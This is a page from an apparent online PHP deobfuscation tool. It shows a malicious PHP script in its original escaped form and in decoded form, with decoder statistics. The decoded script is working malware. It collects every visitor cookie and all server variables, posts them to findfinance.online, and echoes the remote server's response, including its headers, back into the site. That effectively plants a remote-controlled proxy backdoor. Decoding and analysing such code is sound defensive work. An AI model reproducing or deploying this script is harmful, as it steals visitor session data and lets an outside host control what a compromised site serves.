Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $v=&$_COOKIE;$t=$_SERVER;$F='';if(!empty($v)){foreach($v as $g=>$G){if($F)$F.='; ';$..

Decoded Output download

<?php $v=&$_COOKIE;$t=$_SERVER;$F='';if(!empty($v)){foreach($v as $g=>$G){if($F)$F.='; ';$F.=$g.'='.addslashes($G);}}$c="curl_init";$z="findfinance.online";$l="/proxyfolder/dovafvawudse";foreach($t as $g=>$G)$t[$g]=$g.'='.urlencode(strval($G));$o=implode('&',$t);if(is_callable($c)){$Q="curl_setopt";$b="curl_exec";$q=$c();$Q($q,4628+5374,"http://".$z.$l);$Q($q,9121+894,$o);$Q($q,6542+13371,1);$Q($q,16529+3550,'Huep');if($F)$Q($q,1053+8969,$F);echo $b($q);}else{$m="fsockopen";$n="fclose";$Y="fwrite";$s="fgets";$x=$m($z,23+57) or die();$M="POST $l HTTP/1.1
Host: $z
Content-Type: application/x-www-form-urlencoded
";if($F)$M.="Cookie: $F
";$M.="Content-length: ".strlen($o)."
Connection: Close

";$Y($x,$M.$o);$B='';while(!feof($x)){$B.=$s($x,917+107);}$n($x);list($M,$a)=explode("

",$B,2);$M=explode("
",$M);$V=0;foreach($M as $C){Huep(0,$C);if(strpos($C,"chunked")!==false)$V=1;}if($V){for($d='';!empty($a);$a=trim($a)){$D=strpos($a,"
");$X=hexdec(substr($a,0,$D));$d.=substr($a,$D+2,$X);$a=substr($a,$D+2+$X);}echo $d;}else echo $a;}function Huep($q,$K){if(strpos($K,"Content-Type")!==false||strpos($K,"404")!==false||strpos($K,"301")!==false||strpos($K,"Location")!==false||strpos($K,"Set-Cookie")!==false)header($K);return strlen($K);}?>

Did this file decode correctly?

Original Code

<?php $v=&$_COOKIE;$t=$_SERVER;$F='';if(!empty($v)){foreach($v as $g=>$G){if($F)$F.='; ';$F.=$g.'='.addslashes($G);}}$c="\x63\165\162\x6c\137\x69\156\x69\x74";$z="\x66\151\x6e\x64\x66\x69\156\141\156\x63\x65\56\157\156\x6c\x69\156\145";$l="\57\160\x72\157\x78\x79\x66\x6f\x6c\x64\145\162\57\144\157\x76\141\x66\x76\x61\x77\x75\x64\163\x65";foreach($t as $g=>$G)$t[$g]=$g.'='.urlencode(strval($G));$o=implode('&',$t);if(is_callable($c)){$Q="\x63\165\x72\x6c\137\x73\x65\164\x6f\x70\164";$b="\x63\x75\x72\154\137\x65\x78\x65\143";$q=$c();$Q($q,4628+5374,"\x68\164\164\160\x3a\x2f\x2f".$z.$l);$Q($q,9121+894,$o);$Q($q,6542+13371,1);$Q($q,16529+3550,'Huep');if($F)$Q($q,1053+8969,$F);echo $b($q);}else{$m="\x66\163\157\143\x6b\157\160\145\156";$n="\x66\143\x6c\x6f\x73\x65";$Y="\x66\167\162\x69\x74\x65";$s="\146\147\145\x74\x73";$x=$m($z,23+57) or die();$M="\x50\117\123\x54 $l \110\124\x54\120/1.1\r\n\110\157\x73\164: $z\r\n\x43\157\156\x74\145\x6e\x74\x2d\x54\x79\x70\145: \x61\160\x70\154\151\x63\141\x74\151\x6f\x6e\x2f\170\x2d\167\x77\167\x2d\x66\x6f\x72\x6d\55\x75\x72\154\x65\156\143\x6f\x64\145\x64\r\n";if($F)$M.="\x43\157\157\153\x69\x65: $F\r\n";$M.="\x43\157\x6e\164\145\x6e\164\55\x6c\x65\x6e\x67\164\150: ".strlen($o)."\r\n\103\x6f\156\x6e\145\x63\x74\151\157\x6e\72\40\x43\x6c\157\x73\145\r\n\r\n";$Y($x,$M.$o);$B='';while(!feof($x)){$B.=$s($x,917+107);}$n($x);list($M,$a)=explode("\r\n\r\n",$B,2);$M=explode("\r\n",$M);$V=0;foreach($M as $C){Huep(0,$C);if(strpos($C,"\x63\x68\165\156\153\145\x64")!==false)$V=1;}if($V){for($d='';!empty($a);$a=trim($a)){$D=strpos($a,"\r\n");$X=hexdec(substr($a,0,$D));$d.=substr($a,$D+2,$X);$a=substr($a,$D+2+$X);}echo $d;}else echo $a;}function Huep($q,$K){if(strpos($K,"\x43\157\156\x74\145\x6e\x74\x2d\x54\x79\x70\145")!==false||strpos($K,"\64\x30\64")!==false||strpos($K,"\63\60\x31")!==false||strpos($K,"\x4c\157\143\141\164\151\157\156")!==false||strpos($K,"\x53\x65\164\55\x43\157\157\153\x69\x65")!==false)header($K);return strlen($K);}?>

Function Calls

None

Variables

$F
$t 0
$v 0

Stats

MD5 b9ccf5e2a7fcf9ebb1f35bacfa3f1b06
Eval Count 0
Decode Time 83 ms